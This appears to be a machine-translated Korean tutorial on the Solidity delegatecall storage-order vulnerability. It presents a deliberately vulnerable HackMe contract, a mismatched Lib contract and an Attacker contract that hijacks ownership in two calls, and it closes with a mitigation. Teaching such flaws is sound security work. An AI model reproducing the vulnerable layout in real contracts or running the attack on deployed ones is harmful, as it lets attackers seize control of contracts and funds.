델리게이트 콜 - 변수 순서

대리자 호출을 사용하는 동안 계약에서 변수의 순서가 얼마나 중요한지 염두에 두는 것이 중요합니다.

다음 예제를 통해 이를 이해해 봅시다.
  • HackMe는 대리인이 무언가를 수행하기 위해 Lib 계약을 호출하는 계약입니다
  • .
  • 가변 주문은 이 두 계약에서 동일하지 않습니다.

  • // SPDX-License-Identifier: GPL-3.0
    pragma solidity 0.7.6;
    
    contract HackMe {
        address lib;
        address public owner;
        uint someNumber;
    
        constructor(address _lib) {
            owner = msg.sender;
            lib = _lib;
        }
    
        function doStuff(uint _num) public {
            lib.delegatecall(abi.encodeWithSignature("doStuff(uint256)", _num));
        }
    }
    
    contract Lib {
        uint someNumber;
    
        function doStuff(uint _num) public {
            someNumber = _num;
        }
    }
    


    HackMe 델리게이트의 doStuff() 함수는 Lib의 doStuff() 함수를 호출합니다. 그리고 Lib에서 이 함수는 첫 번째 슬롯의 첫 번째 변수를 변경하고,
    Lib에서는 uint someNumber이지만 HackMe에서는 address lib입니다. 위임 호출은 위임된 계약의 기능을 사용하여 호출자의 상태를 변경하므로 HackMe의 address lib가 변경됩니다(HackMe의 첫 번째 변수이기 때문).

    이제 Attacker가 이를 어떻게 활용할 수 있는지 살펴보겠습니다.
  • 공격자는 HackMe 계약과 동일한 가변 순서를 갖게 됩니다.
  • 공격자는 소유자 변수(2md 변수)를 변경하는 동일한 서명을 가진 doStuff() 함수를 갖게 됩니다.

  • 단계 - I
  • 공격자는 HackMe에서 자신의 주소를 uint 형식(0.8.0 이후에는 불가능)으로 전달하는 함수를 호출합니다doStuff().
  • 그러면 address lib 값이 공격자 계약의 주소로 변경됩니다.

  • 단계 - II
  • 이제 공격자는 임의의 uint 입력을 사용하여 HackMe에서 doStuff() 함수를 다시 호출합니다. 이번에는 HackMe 대리인이 공격자를 호출합니다(단계 - I 때문에)
  • Attacker의 doStuff() 함수는 HackMe에서 소유자 변수를 msg.sender(공격자 주소)로 변경합니다. 따라서 HackMe 계약을 하이재킹합니다.

  • 더 잘 이해하려면 다음 계약을 참조하십시오.

    contract Attacker {
        address Lib;
        address public owner;
        uint someNumber;
    
        HackMe hackMe;
    
        constructor(address _hackMe) {
            hackMe = HackMe(_hackMe);
        }
    
        function attack() external {
            hackMe.doStuff(uint(address(this)));  // -------- (I)
            hackMe.doStuff(1);  // -------- (II)
        }
    
        function doStuff(uint _num) public { // HackMe will delegatecall this when (II) gets execute after (I)
            owner = msg.sender; // updates owner of HackMe 
        }
    }
    


    이러한 공격을 피하는 유일한 해결책은 Hackme와 마찬가지로 Lib에서 변수 순서를 유지하는 것입니다.

    좋은 웹페이지 즐겨찾기